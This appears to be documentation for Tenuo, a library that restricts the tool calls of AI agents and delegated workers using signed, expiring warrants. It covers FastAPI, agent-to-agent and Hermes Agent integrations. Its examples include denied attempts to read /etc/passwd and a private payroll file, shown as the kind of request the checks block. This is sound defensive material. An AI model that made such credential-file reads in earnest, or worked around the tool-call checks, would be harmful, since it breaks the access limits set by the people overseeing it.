FastAPI, Request from fastapi.responses import JSONResponse from tenuo.exceptions import TenuoError app = FastAPI() @app.exception_handler(TenuoError) async def tenuo_error_handler(request: Request, exc: TenuoError): """Custom handler with wire codes.""" return JSONResponse( status_code=exc.get_http_status(), content={ "error": exc.get_wire_name(), # kebab-case name "error_code": exc.get_wire_code(), # numeric wire code "message": str(exc), "details": exc.details if hasattr(exc, 'details') else {}, } ) ``` **Note**: The FastAPI integration registers a global exception handler automatically when you call `configure_tenuo()`, so custom handlers are optional. --- ## Patterns ### Multiple Tools per Route ```python from fastapi import Depends from tenuo.fastapi import TenuoGuard, SecurityContext @app.post("/files/{path:path}") async def file_operation( path: str, action: str, ctx: SecurityContext = Depends(TenuoGuard("file_operation")) ): # Single tool per endpoint - specify the most restrictive pass ``` ### Body Parameter Extraction Since JSON body fields are not extracted by default, provide a custom `extract_args`: ```python from fastapi import Request from pydantic import BaseModel from tenuo.fastapi import TenuoGuard, SecurityContext class TransferRequest(BaseModel): from_account: str to_account: str amount: float async def extract_transfer_args(request: Request) -> dict: body = await request.json() return {**request.path_params, **dict(request.query_params), **body} @app.post("/transfer") async def transfer( body: TransferRequest, ctx: SecurityContext = Depends(TenuoGuard("transfer", extract_args=extract_transfer_args)) ): # ctx.args = {"from_account": "...", "to_account": "...", "amount": ...} pass ``` --- ## Full Example ```python from fastapi import FastAPI, Depends from tenuo import SigningKey, Warrant, Subpath from tenuo.fastapi import TenuoGuard, SecurityContext, configure_tenuo app = FastAPI() # Generate issuer key (in production, load from secure storage) issuer_key = SigningKey.generate() # Configure Tenuo configure_tenuo(app, trusted_issuers=[issuer_key.public_key]) @app.get("/search") async def search( query: str, ctx: SecurityContext = Depends(TenuoGuard("search")) ): return {"results": [f"Result for: {query}"]} @app.get("/files/{path:path}") async def read_file( path: str, ctx: SecurityContext = Depends(TenuoGuard("read_file")) ): return {"path": path, "content": "..."} # Issue a warrant for testing @app.post("/admin/issue-warrant") async def issue_warrant(): warrant = (Warrant.mint_builder() .tool("search") # No constraints .capability("read_file", path=Subpath("/data")) # With constraint .holder(issuer_key.public_key) .ttl(3600) .mint(issuer_key)) return {"warrant": warrant.to_base64()} ``` --- ## Security Notes ### Error Details By default, authorization errors don't reveal constraint details: ```python # Client sees: # {"error": "authorization_denied", "message": "Authorization denied", "request_id": "abc123"} # Server logs: # [abc123] Tool 'read_file' denied: path=/etc/passwd, expected=Pattern(/data/*) ``` Enable detailed errors only for development: ```python configure_tenuo(app, expose_error_details=True) # Development only! ``` ### Replay Protection For sensitive operations (e.g., payments), use `dedup_key` to prevent replay attacks during the PoP window: ```python from tenuo.fastapi import TenuoGuard, SecurityContext import redis r = redis.Redis() @app.post("/payments/transfer") async def transfer( ctx: SecurityContext = Depends(TenuoGuard("transfer")) ): # Generate unique ID for this specific request req_id = ctx.warrant.dedup_key("transfer", ctx.args) # Check if seen in last 2 minutes if r.exists(f"seen:{req_id}"): raise HTTPException(400, "Replay detected") # Mark as seen (expires after PoP window) r.setex(f"seen:{req_id}", 120, "1") process_payment() ``` > [!NOTE] > **Performance & Responsibility**: You are responsible for provisioning and maintaining the storage backend (e.g., Redis). Tenuo provides the deterministic key but does not manage the statestore. The latency and availability of this check depend entirely on your storage infrastructure. ### Warrant Scope Each route should specify the minimum tool(s) required: ```python # Good: specific tool @app.get("/users") async def get_users(ctx: SecurityContext = Depends(TenuoGuard("list_users"))): ... # Bad: overly permissive @app.get("/users") async def get_users(ctx: SecurityContext = Depends(TenuoGuard("admin_users"))): # Each endpoint should have one specific tool ``` --- ## Delegation Chains (WarrantStack) When an orchestrator delegates a subset of its authority to a worker, the full chain of warrants must be sent together. `TenuoGuard` automatically detects a `WarrantStack` and validates the chain end-to-end. ```python from tenuo import SigningKey, Warrant, encode_warrant_stack from tenuo.fastapi import configure_tenuo, TenuoGuard, SecurityContext issuer = SigningKey.generate() orchestrator = SigningKey.generate() worker = SigningKey.generate() root = (Warrant.mint_builder() .capability("search").capability("delete_file") .holder(orchestrator.public_key).ttl(3600).mint(issuer)) child = (root.grant_builder() .capability("search") .holder(worker.public_key).ttl(1800).grant(orchestrator)) # Client sends the full chain as a single X-Tenuo-Warrant header stack_b64 = encode_warrant_stack([root, child]) # Server-side: configure_tenuo(app, trusted_issuers=[issuer.public_key]) # TenuoGuard automatically detects WarrantStack and uses check_chain ``` > **Important:** Orphaned child warrants (sent without the parent chain) are rejected. Always send the complete chain from root to leaf. --- ## See Also - [Quickstart](/quickstart/) -- Get running in 5 minutes - [Security](./security) -- Threat model, best practices - [API Reference](./api-reference) -- Full Python API documentation - [LangChain](./langchain) -- Tool protection for LangChain --- # Tenuo A2A Integration Source: https://tenuo.ai/a2a ## Overview Tenuo A2A adds **warrant-based authorization** to agent-to-agent communication. When Agent A delegates a task to Agent B, the warrant specifies exactly what Agent B is allowed to do. ``` ┌─────────────┐ ┌─────────────┐ │ Agent A │ Task + Warrant │ Agent B │ │ (Orchestrator)│──────────────────▶│ (Worker) │ │ │ │ │ │ │◀────────────────── │ │ │ │ Result │ │ └─────────────┘ └─────────────┘ Warrant says: "Agent B can only search arxiv.org for this task" ``` **Use cases:** - Multi-agent systems where agents delegate tasks - Orchestrators that dispatch work to specialized workers - Agent networks with least-privilege access control **Not for:** Single-agent tool enforcement (use `tenuo.openai` or `tenuo.langchain` instead) --- ## Installation ```bash uv pip install "tenuo[a2a]" ``` --- ## Quick Start (Minimal Example) **Server (Worker Agent):** ```python from tenuo.a2a import A2AServerBuilder # Build server with fluent API server = (A2AServerBuilder() .name("Worker") .url("https://worker.example.com") .key(my_signing_key) # Your identity .accept_warrants_from(orchestrator_key) # Who can give you tasks .build()) @server.skill("echo") async def echo(msg: str) -> str: return f"Echo: {msg}" # uvicorn server:server.app --port 8000 ``` Or use the direct constructor: ```python from tenuo.a2a import A2AServer server = A2AServer( name="Worker", url="https://worker.example.com", public_key=my_public_key, trusted_issuers=[orchestrator_public_key], ) ``` **Client (Orchestrator):** ```python from tenuo.a2a import A2AClientBuilder from tenuo import Warrant # Create warrant for this task task_warrant = (Warrant.mint_builder() .capability("echo") .holder(worker_public_key) .ttl(300) .mint(orchestrator_key)) # Build client with default warrant client = (A2AClientBuilder() .url("http://localhost:8000") .warrant(task_warrant, orchestrator_key) # Pre-configure for repeated use .build()) # Send task (warrant already configured) result = await client.send_task( "hello", skill="echo", arguments={"msg": "hello"}, ) print(result.output) # "Echo: hello" ``` Or use the direct constructor: ```python from tenuo.a2a import A2AClient client = A2AClient("http://localhost:8000") result = await client.send_task( "hello", skill="echo", arguments={"msg": "hello"}, warrant=task_warrant, signing_key=orchestrator_key, ) ``` That's it. The warrant proves the orchestrator authorized this specific task. --- ## Full Example (With Constraints) ### Server (Worker) ```python from tenuo.a2a import A2AServerBuilder from tenuo.constraints import Subpath, UrlSafe server = (A2AServerBuilder() .name("Research Agent") .url("https://research-agent.example.com") .key(my_signing_key) .accept_warrants_from(orchestrator_public_key) .build()) # Register skills with constraint bindings @server.skill("search_papers", constraints={"sources": UrlSafe()}) async def search_papers(query: str, sources: list[str]) -> list[dict]: return await do_search(query, sources) @server.skill("read_file", constraints={"path": Subpath("/data")}) async def read_file(path: str) -> str: with open(path) as f: return f.read() # uvicorn server:server.app --host 0.0.0.0 --port 8000 ``` --- ## Automated Registration (CSR Handshake) A2A supports an automated handshake for agent registration, eliminating the need for out-of-band key sharing. This follows the Certificate Signing Request (CSR) pattern. The connecting agent dynamically generates a self-signed challenge token to cryptographically prove key ownership. The server verifies this signature and uses a registered handler to decide what capabilities to grant, minting a fresh delegation warrant on the fly. **Server (Control Plane / Parent Agent):** ```python from tenuo.a2a.types import VerifiedWarrantRequest # The handler decides whether to grant the requested capabilities async def registration_handler(req: VerifiedWarrantRequest, issue): if req.verified_key_hex not in ALLOWLIST: raise RegistrationDeniedError("Agent not approved") # Issue a new warrant bound to the requested capabilities await issue(capabilities=req.capabilities, ttl=86400) # 24 hrs server = (A2AServerBuilder() .name("Control Plane") .url("https://control.example.com") .key(server_signing_key) # MUST be a SigningKey to issue warrants .trust(server_signing_key.public_key) .registration_handler(registration_handler) # Enable handshake .build()) ``` **Client (Child Agent):** ```python from tenuo.a2a import A2AClient from tenuo import SigningKey client = A2AClient("https://control.example.com") worker_key = SigningKey.generate() # Request a warrant with specific capabilities # The client automatically generates the self-signed challenge token warrant = await client.request_warrant( signing_key=worker_key, capabilities={"search_papers": {}} ) # You can now immediately use this warrant (and key) for tasks result = await client.send_task( "Search for AI Agents papers", skill="search_papers", arguments={"query": "AI Agents"}, warrant=warrant, signing_key=worker_key, ) ``` **Note:** Extension data (like AWS Nitro Enclaves or SGX TEE quotes) can be attached to the request via the `extensions` parameter in `request_warrant()` and inspected in the server handler via `req.extensions`. ### Client (Orchestrator) ```python from tenuo.a2a import A2AClient from tenuo.constraints import UrlSafe # Discover agent capabilities client = A2AClient("https://research-agent.example.com") card = await client.discover() # Attenuate warrant for this delegation task_warrant = (my_warrant .grant_builder() .capability("search_papers", sources=UrlSafe(allow_domains=["arxiv.org"])) .holder(card.public_key) .ttl(300) .build(my_signing_key)) # Send task with warrant result = await client.send_task( message="Find papers on capability-based security", warrant=task_warrant, skill="search_papers", arguments={"query": "capability-based security", "sources": ["https://arxiv.org"]}, ) ``` ### Streaming Tasks For long-running tasks, use streaming to receive incremental updates: ```python # Stream results as they arrive async for update in client.send_task_streaming( message="Analyze these papers", warrant=task_warrant, skill="analyze_papers", arguments={"paper_ids": ["arxiv:2401.12345"]}, ): if update.type.value == "status": print(f"Status: {update.data.get('status')}") elif update.type.value == "message": print(f"Chunk: {update.data.get('content')}") elif update.type.value == "complete": print(f"Done: {update.data.get('output')}") ``` The server emits SSE events for status updates, intermediate messages, and final completion. **Stream timeout (DoS protection):** ```python # Default timeout is 300 seconds (5 minutes) async for update in client.send_task_streaming( ..., stream_timeout=600.0, # 10 minute timeout ): ... ``` If the stream exceeds `stream_timeout`, a `TimeoutError` is raised. This prevents slow-drip DoS attacks where a malicious server holds connections indefinitely. --- ## Proof-of-Possession (PoP) Proof-of-Possession adds an additional security layer by requiring the client to prove they control the private key associated with the warrant's holder. ### When to Use PoP **Require PoP when:** - Agents communicate over untrusted networks (Internet, shared infrastructure) - Compliance requires cryptographic proof of authorization - Protection against warrant theft is critical - Multi-hop delegation across organizational boundaries **PoP is optional when:** - All agents run on trusted infrastructure (same data center, VPC) - Network isolation provides security (private network, mTLS) - Performance is critical and risk is low (every extra signature operation matters) **Never skip PoP when:** - Agents are on the public Internet - Warrants have long TTLs (hours/days) - Untrusted intermediaries exist in the call chain ### How PoP Works PoP signatures prove that the caller possesses the private key corresponding to the warrant's `sub` (holder) field: ``` ┌──────────────────────────────────────────────────────┐ │ Warrant (JWT): │ │ sub: "z6Mk..." ← Orchestrator's public key │ │ grants: ["search"] │ │ exp: 1234567890 │ │ Signature: │ └──────────────────────────────────────────────────────┘ + ┌──────────────────────────────────────────────────────┐ │ PoP Signature: │ │ sign(orchestrator_private_key, "search", args, ts) │ │ → Proves orchestrator controls the private key │ └──────────────────────────────────────────────────────┘ = Authorization Proof ``` **What PoP Prevents:** - **Warrant Theft**: If an attacker intercepts a warrant, they can't use it without the private key - **Replay Attacks**: Each PoP signature includes a timestamp and is checked once - **Man-in-the-Middle**: Modified arguments invalidate the PoP signature ### Client Usage Enable PoP by passing `signing_key` to `send_task()`: ```python from tenuo.a2a import A2AClient client = A2AClient("https://worker.example.com") # Without PoP (only warrant validation) result = await client.send_task( "search for papers", warrant=my_warrant, skill="search", arguments={"query": "papers"}, ) # With PoP (warrant + signature proof) result = await client.send_task( "search for papers", warrant=my_warrant, skill="search", arguments={"query": "papers"}, signing_key=orchestrator_key, # ← Proves possession ) ``` Or configure PoP by default using the builder: ```python from tenuo.a2a import A2AClientBuilder client = (A2AClientBuilder() .url("https://worker.example.com") .warrant(my_warrant, orchestrator_key) # ← Pre-configure PoP .build()) # All requests automatically include PoP result = await client.send_task( "search for papers", skill="search", arguments={"query": "papers"}, ) ``` ### Server Configuration Control PoP requirements on the server: ```python server = A2AServer( name="Worker", url="https://worker.example.com", public_key=worker_public_key, trusted_issuers=[control_plane_key], # Required — warrants must be signed by these keys # PoP configuration require_pop=True, # Reject requests without PoP (default: True) ) ``` > **Important:** Always configure `trusted_issuers`. Without it, the builder raises `ValueError`. This ensures only warrants signed by your control plane are accepted — self-signed warrants from attackers are rejected. **Security Defaults:** - `trusted_issuers` is **required** (fail-closed) - `require_pop=True` by default (fail-safe) - Can be disabled via `TENUO_A2A_REQUIRE_POP=false` environment variable - If `require_pop=True` but client doesn't provide PoP → `PopRequiredError` ### Performance Impact Enabling PoP adds two extra Ed25519 signature operations per request on top of warrant verification: - **Without PoP:** warrant verification only. - **With PoP:** warrant verification + client-side PoP signing + server-side PoP verification. All three operations are local and offline. See [Performance Benchmarks](./api-reference#performance-benchmarks) for measured timings. **Recommendation:** Always use PoP in production unless you have network-level security (mTLS + VPC). ### Error Handling ```python from tenuo.a2a import PopRequiredError, PopVerificationError try: result = await client.send_task("search", warrant=warrant, skill="search", arguments={}) except PopRequiredError: print("Server requires PoP signature - add signing_key parameter") except PopVerificationError as e: print(f"PoP signature invalid: {e}") # Possible causes: # - Wrong signing key (not matching warrant.sub) # - Arguments modified after signing # - Clock skew between client/server ``` ### Debugging PoP Issues **Issue:** `PopVerificationError: Signature verification failed` **Causes:** 1. **Wrong signing key**: Key doesn't match warrant's `sub` field 2. **Modified arguments**: Arguments changed after PoP computation 3. **Clock skew**: Client/server clocks differ significantly **Debug:** ```python # Verify signing key matches warrant holder assert warrant.sub == str(signing_key.public_key) # Log PoP computation import logging logging.getLogger("tenuo.a2a.client").setLevel(logging.DEBUG) # Shows: "Generated PoP signature for skill 'search'" ``` --- ## Server Configuration ```python server = A2AServer( # Required name="Agent Name", # Display name url="https://agent.example.com", # Public URL (for audience validation) public_key=my_public_key, # This agent's public key trusted_issuers=[...], # List of trusted issuer public keys # Optional (shown with defaults) trust_delegated=True, # Accept warrants delegated from trusted issuers require_warrant=True, # Reject tasks without warrants require_audience=True, # Require warrant audience matches our URL check_replay=True, # Enforce jti uniqueness replay_window=3600, # Seconds to remember jti values max_chain_depth=10, # Maximum delegation chain length # Audit audit_log=sys.stderr, # Destination (file, callable, or stderr) audit_format="json", # "json" or "text" ) ``` ### Trust Model The server trusts warrants based on `trusted_issuers`: 1. **Direct Trust**: Warrant signed by a trusted issuer → accepted 2. **Delegated Trust** (if `trust_delegated=True`): Warrant with valid chain back to trusted issuer → accepted ``` ┌─────────────────────┐ │ Trusted Root │ ← In trusted_issuers │ (Control Plane) │ └──────────┬──────────┘ │ delegates ▼ ┌─────────────────────┐ │ Orchestrator A │ ← Warrant signed by root └──────────┬──────────┘ │ delegates ▼ ┌─────────────────────┐ │ Worker B │ ← Warrant with chain [root → A → B] └─────────────────────┘ ``` ### Skill Constraints Constraints bind warrant parameters to skill parameters: ```python @server.skill("read_file", constraints={"path": Subpath("/data")}) async def read_file(path: str) -> str: # "path" constraint checked against warrant's path constraint # Blocked if: warrant allows Subpath("/data") but arg is "/etc/passwd" ... ``` **Constraint binding validation** happens at startup: ```python # This raises ConstraintBindingError at startup: @server.skill("read_file", constraints={"file_path": Subpath("/data")}) # "file_path" not a param async def read_file(path: str) -> str: # param is "path" ... ``` --- ## Client Configuration ```python client = A2AClient( url="https://agent.example.com", # Optional pin_key="z6Mk...", # Expected public key (raises KeyMismatchError if different) timeout=30.0, # Request timeout in seconds ) ``` ### Key Pinning Pin the expected public key to prevent TOFU (Trust On First Use) attacks: ```python # If agent returns different key, raises KeyMismatchError client = A2AClient( "https://research-agent.example.com", pin_key="z6MkResearchAgentKey123" # From your config/secrets ) card = await client.discover() # Fails if key doesn't match ``` ### Key Format Compatibility A2A accepts public keys in multiple formats: ```python # All of these work: server = (A2AServerBuilder() .key(signing_key) # PublicKey object .accept_warrants_from("a1b2c3...") # Hex (64 chars) .accept_warrants_from("z6MkpT...") # Multibase (base58btc) .accept_warrants_from("did:key:z6MkpT...") # W3C DID .build()) ``` All formats are automatically normalized for comparison. Multibase and DID support requires `uv pip install base58`. --- ## Agent Card (Discovery) Agents expose their capabilities via `/.well-known/agent.json`: ```json { "name": "Research Agent", "url": "https://research-agent.example.com", "skills": [ { "id": "search_papers", "name": "Search Papers", "x-tenuo-constraints": { "sources": {"type": "UrlSafe", "required": true} } } ], "x-tenuo": { "version": "0.1.0", "required": true, "public_key": "z6Mk..." } } ``` --- ## Delegation Chains When delegating through multiple agents, the full chain is transmitted as a single header. The server validates: 1. Root warrant is from a trusted issuer 2. Each link: child issuer = parent holder 3. Skills narrow monotonically (no privilege escalation) 4. Chain depth ≤ `max_chain_depth` ### WarrantStack Transport The current implementation packs the entire delegation chain into a **single** `X-Tenuo-Warrant` header using WarrantStack encoding, rather than the legacy two-header approach (`X-Tenuo-Warrant` + `X-Tenuo-Warrant-Chain`). The client encodes the chain with `encode_warrant_stack` and the server decodes it with `decode_warrant_stack_base64`: ```python from tenuo import encode_warrant_stack # Client sends delegation chain as a single header chain = [root_warrant, child_warrant] stack_b64 = encode_warrant_stack(chain) # stack_b64 goes in X-Tenuo-Warrant header # Server automatically detects and unpacks WarrantStack ``` This simplifies proxy and load-balancer configurations (one header to forward instead of two) and avoids ordering ambiguities in multi-hop chains. --- ## Human Approval Define gates and approvers on the warrant. On retry, attach `SignedApproval` objects via header or param. See [Human Approvals](approvals.md) for minting and signing. ```python from tenuo.a2a import A2AClient, ApprovalRequiredError, InsufficientApprovalsError from tenuo.approval import sign_approval try: result = await client.send_task(skill="transfer", arguments={"amount": 5000}) except ApprovalRequiredError as e: # -32019 — gate fired; e.data has request_hash, min_approvals, skill signed = sign_approval(approval_request, approver_key) # from your UI flow result = await client.send_task( skill="transfer", arguments={"amount": 5000}, approvals=[signed], # encoded into X-Tenuo-Approvals ) except InsufficientApprovalsError as e: # -32020 — collect additional signatures; check e.data["required"] vs ["received"] ... ``` **Wire encoding:** `X-Tenuo-Approvals` = `base64(JSON(["base64(CBOR SignedApproval)", ...]))`. Same outer wrapper as FastAPI. | A2A JSON-RPC | Wire code | When | Key `data` fields | |--------------|-----------|------|-------------------| | **-32019** | 1707 | Gate fired, no approvals | `request_hash`, `min_approvals`, `skill` | | **-32020** | 1700 | Partial multi-sig | `required`, `received` | | **-32021** | 1701 | Invalid / malformed approval | `reason` | > **Note:** A2A `-32002` is **invalid signature** (1100), not approval. Do not reuse MCP's `-32002` semantics on A2A. --- ## Error Handling All A2A errors inherit from `A2AError` and map to JSON-RPC error codes with canonical wire codes: ```python from tenuo.a2a import ( A2AError, MissingWarrantError, # -32001: Warrant required but not provided InvalidSignatureError, # -32002: Signature verification failed UntrustedIssuerError, # -32003: Issuer not in trusted_issuers WarrantExpiredError, # -32004: Warrant has expired AudienceMismatchError, # -32005: Audience doesn't match server URL ReplayDetectedError, # -32006: jti already used SkillNotGrantedError, # -32007: Skill not in warrant grants ConstraintViolationError, # -32008: Argument violates constraint ChainInvalidError, # -32010: Delegation chain validation failed KeyMismatchError, # -32012: Public key doesn't match pinned key ApprovalRequiredError, # -32019: Approval gate fired InsufficientApprovalsError, # -32020: Partial multi-sig InvalidApprovalError, # -32021: Bad signed approval ) try: result = await client.send_task(...) except SkillNotGrantedError as e: print(f"Skill {e.data['skill']} not in granted: {e.data['granted_skills']}") except A2AError as e: print(f"A2A error {e.code}: {e.message}") ``` ### Wire Code Support A2A error responses now include canonical Tenuo wire codes (1000-2199) for cross-protocol compatibility: ```json { "jsonrpc": "2.0", "error": { "code": -32008, "message": "Constraint violation", "data": { "tenuo_code": 1501, "field": "amount", "reason": "Value exceeds maximum" } }, "id": "task_123" } ``` This enables: - **Cross-protocol debugging**: Same wire codes used in HTTP, gRPC, and JSON-RPC - **Precise error mapping**: JSON-RPC code -32008 maps to canonical code 1501 - **Machine-readable errors**: Clients can programmatically handle specific error types | A2A JSON-RPC Code | Canonical Wire Code | Name | |-------------------|---------------------|------| | -32001 | — (A2A-specific) | Missing warrant | | -32002 | 1100 | Invalid signature | | -32003 | 1406 | Untrusted issuer | | -32004 | 1300 | Warrant expired | | -32007 | 1500 | Tool not authorized | | -32008 | 1501 | Constraint violation | | -32010 | 1405 | Chain invalid | | -32019 | 1707 | Approval required (gate fired) | | -32020 | 1700 | Insufficient approvals (partial multi-sig) | | -32021 | 1701 | Invalid approval | See [wire format specification](./spec/wire-format-v1#appendix-a-error-code-reference) for the complete list. --- ## Accessing the Warrant Inside a skill, access the current warrant via context: ```python from tenuo.a2a import current_task_warrant @server.skill("my_skill") async def my_skill(query: str) -> str: warrant = current_task_warrant.get() if warrant: print(f"Warrant issuer: {warrant.iss}") print(f"Warrant subject: {warrant.sub}") return "done" ``` --- ## Audit Logging Server emits structured audit events: ```python # JSON format (default) {"timestamp": "...", "event": "warrant_validated", "skill": "search", "outcome": "allowed", ...} # Text format [WARRANT_VALIDATED] search: allowed ``` Custom audit handler: ```python async def my_audit_handler(event: AuditEvent): await send_to_siem(event.to_dict()) server = A2AServer(..., audit_log=my_audit_handler) ``` --- ## Example: Full Multi-Agent System ```python # control_plane.py from tenuo import SigningKey, Warrant control_key = SigningKey.from_env("CONTROL_PLANE_KEY") def issue_orchestrator_warrant(orchestrator_pubkey): return (Warrant.mint_builder() .capability("search_papers", {}) .capability("read_file", {"path": Subpath("/data")}) .holder(orchestrator_pubkey) .ttl(86400) # 24 hours .mint(control_key)) ``` ```python # orchestrator.py from tenuo.a2a import A2AClient async def delegate_research(topic: str, my_warrant, my_key, target_pubkey): client = A2AClient("https://research-agent.example.com") # Attenuate warrant for this specific task task_warrant = (my_warrant .grant_builder() .capability("search_papers", sources=UrlSafe(allow_domains=["arxiv.org"])) .holder(target_pubkey) .ttl(300) .build(my_key)) return await client.send_task( message=f"Research: {topic}", warrant=task_warrant, skill="search_papers", arguments={"query": topic, "sources": ["https://arxiv.org"]}, ) ``` ```python # research_agent.py from tenuo.a2a import A2AServer from tenuo.constraints import UrlSafe server = A2AServer( name="Research Agent", url="https://research-agent.example.com", public_key=my_public_key, trusted_issuers=[control_plane_public_key], ) @server.skill("search_papers", constraints={"sources": UrlSafe()}) async def search_papers(query: str, sources: list[str]) -> list[dict]: # Only allowed URLs pass through return await search_arxiv(query, sources) if __name__ == "__main__": import uvicorn uvicorn.run(server.app, host="0.0.0.0", port=8000) ``` --- ## API Reference See [API Reference](./api-reference) for complete type signatures. ## Protocol Specification For the wire format and protocol details, see the [Protocol Spec](./spec/protocol-spec-v1) and [Wire Format](./spec/wire-format-v1). --- # Tenuo Hermes Agent Integration Source: https://tenuo.ai/hermes ## Overview [hermes-tenuo](https://github.com/tenuo-ai/hermes-tenuo) is the official Tenuo integration for [Hermes Agent](https://github.com/NousResearch/hermes-agent). Hermes routes agent-loop tool calls through the plugin before the handler runs, where Tenuo checks the tool name and every argument against a signed, expiring warrant. When a call falls outside the warrant, the handler never runs, and the model gets the reason back as the tool result. ```text ALLOW read_file path=/data/reports/q3.csv DENY read_file path=/opt/private/payroll.csv Constraint 'path' not satisfied: value does not match constraint DENY terminal command=ls Tool 'terminal' is not authorized ``` The plugin is listed in the [Hermes plugin catalog](https://hermes-agent.nousresearch.com/docs/plugins/hermes-tenuo) as `hermes-tenuo`. Keys and decisions stay on your machine unless you connect a control plane. | Hermes feature | What the warrant gives you | |---|---| | Cron and scheduled jobs | A TTL that matches the job window. The job cannot act after it should be done. | | `delegate_task` subagents | The child gets only what the parent granted, verified as a chain. | | Multi-user gateways | One warrant per session, cleared when the session ends. | | Kanban workers | A per-task warrant. A denial blocks the task on the board. | | Fleets | Pin the warrant and trust anchor in `/etc/hermes/config.yaml` so users cannot loosen them. | --- ## See it first No Hermes install, no API key: ```bash uvx hermes-tenuo demo ``` It prints the allow and deny decisions for a cron job, a subagent handoff, and two gateway users. --- ## Installation Requires Hermes Agent 0.20 or newer. ```bash hermes plugins install hermes-tenuo hermes plugins enable hermes-tenuo ``` This is the supported installation path. `install` shows the catalog entry and its disclosure, clones the reviewed commit, and asks for `TENUO_WARRANT` and `TENUO_SIGNING_KEY`. You create them in the next step, so leave both empty and continue. `enable` activates the plugin and installs its `tenuo` dependency into the Hermes runtime. For direct package installation, custom Hermes environments, or unreleased builds, follow the installation guidance in the [hermes-tenuo repository](https://github.com/tenuo-ai/hermes-tenuo#install-into-hermes). --- ## Quick Start ### 1. Mint a warrant ```bash uvx hermes-tenuo mint --ttl 1h \ --allow read_file:path=/data \ --allow web_search ``` This generates a key pair and a warrant, and prints the config block to paste: ```yaml # ~/.hermes/config.yaml plugins: enabled: - hermes-tenuo entries: hermes-tenuo: warrant: # or a path to a .warrant file trusted_root: # the public key that signed it signing_key_env: TENUO_SIGNING_KEY ``` Put the printed `TENUO_SIGNING_KEY` in `~/.hermes/.env`, or export it before you start Hermes. Keep it out of `config.yaml`. ### 2. Check the wiring ```bash hermes plugins doctor hermes-tenuo # Hermes loads the plugin and its hooks uvx hermes-tenuo doctor # config, warrant, expiry, signing key ``` The second command reads the signing key from your shell, so export it first if it only lives in `~/.hermes/.env`. ### 3. Run Hermes ```bash hermes ``` Ask the agent to read a file outside `/data`. The call is denied, and the agent tells you why. --- ## Scoping arguments Each `--allow` names a tool and, optionally, constraints on its arguments. A tool with no constraints is allowed with any arguments. A tool not named in the warrant is denied. | Syntax | Meaning | Example | |---|---|---| | `tool` | any arguments | `--allow web_search` | | `tool:arg=/path` | that path or under it (traversal-safe) | `--allow read_file:path=/data` | | `tool:arg=glob*` | matches the glob | `--allow web_search:query=acme*` | | `tool:arg=a\|b\|c` | one of the choices | `--allow git:action=status\|diff\|log` | | `tool:arg=value` | exact match | `--allow write_file:mode=w` | | `tool:a=..,b=..` | several constraints on one tool | `--allow write_file:path=/tmp/out,mode=w` | For numeric ranges and the rest of the [constraint types](/constraints), mint in Python: ```python from tenuo import SigningKey, Warrant, Subpath, Range control_key = SigningKey.generate() # its public key is trusted_root agent_key = SigningKey.generate() # its secret is TENUO_SIGNING_KEY warrant = ( Warrant.mint_builder() .holder(agent_key.public_key) .capability("read_file", path=Subpath("/data")) .capability("scale_cluster", replicas=Range.max_value(10)) .ttl(3600) .mint(control_key) ) ``` The [hermes-tenuo README](https://github.com/tenuo-ai/hermes-tenuo#scoping-arguments) shows how to write that warrant to a file and wire it in. --- ## Audit log Every decision is appended to `$HERMES_HOME/tenuo/audit.jsonl`. No account needed. ```bash uvx hermes-tenuo audit --last 20 uvx hermes-tenuo audit --denied ``` Not sure what to allow yet? Set `on_denial: log` under `plugins.entries.hermes-tenuo`. Every call is still checked and recorded, but nothing is blocked. Run the agent, read the denied lines, tighten the warrant, then remove the setting. --- ## How it works | Hermes hook | What the plugin does | |---|---| | `pre_tool_call` | Verifies the tool name and arguments against the session's warrant. On denial it blocks the call and returns the reason as the tool result. | | `post_tool_call` | Records timing and writes the audit record. | | `subagent_start` | Hands the child warrant to the new `delegate_task` session. | | `on_session_end` | Clears the session's warrant, so gateway users never share one. | The check runs in Tenuo's Rust core: signature, expiry, holder [proof-of-possession](/concepts), and every argument constraint. The plugin trusts the issuer's public key; the issuer's private key never enters Hermes. The holder signing key remains local to Hermes for proof-of-possession and delegated warrants. A plugin with a configured warrant that is missing, empty, or fails to load blocks every call. It does not fall back to allowing them. ### Coverage Hermes routes agent-loop tool calls through `pre_tool_call`, including tools handled before the tool registry (`todo`, `memory`, `session_search`, `delegate_task`) and tool calls made from inside `execute_code` scripts. Direct dispatch by another plugin through `ctx.dispatch_tool()` is outside this hook, so install trusted plugins alongside it. Code that an `execute_code` script runs on its own, such as a subprocess, belongs to the terminal sandbox boundary; use a container backend (Docker, Modal, Daytona) to isolate those effects. --- ## Configuration reference All keys live under `plugins.entries.hermes-tenuo` in `~/.hermes/config.yaml`. | Key | Env | Meaning | |---|---|---| | `warrant` | `TENUO_WARRANT` | Base64 warrant, or a path to a file containing one. Required for enforcement. | | `trusted_root` | `TENUO_TRUSTED_ROOT` | Base64 public key of the issuer. Warrants signed by anything else are rejected. | | `signing_key_env` | | Name of the env var holding the agent's signing key. Default `TENUO_SIGNING_KEY`. | | `child_warrant` | `TENUO_CHILD_WARRANT` | Warrant handed to `delegate_task` children. | | `on_denial` | | `block` (default) or `log`. | | `audit_log` | `TENUO_AUDIT_LOG` | Path of the audit log, or `false` to disable it. | Without a `warrant`, the plugin loads, logs a warning, and enforces nothing. `doctor` reports that. --- ## Connecting a control plane Everything above runs from files on one machine. Set `TENUO_CONNECT_TOKEN` and the plugin streams every decision to a Tenuo control plane. That adds revocation before a warrant expires, central issuance and key rotation, human approval for sensitive tools, and one audit trail across agents. See [Going to production](/production-guide). --- ## More - [hermes-tenuo on GitHub](https://github.com/tenuo-ai/hermes-tenuo): full README, runnable examples, and a recorded session where a prompt injection meets a warrant - [Hermes catalog entry](https://hermes-agent.nousresearch.com/docs/plugins/hermes-tenuo) - [Constraints](/constraints) and [Concepts](/concepts)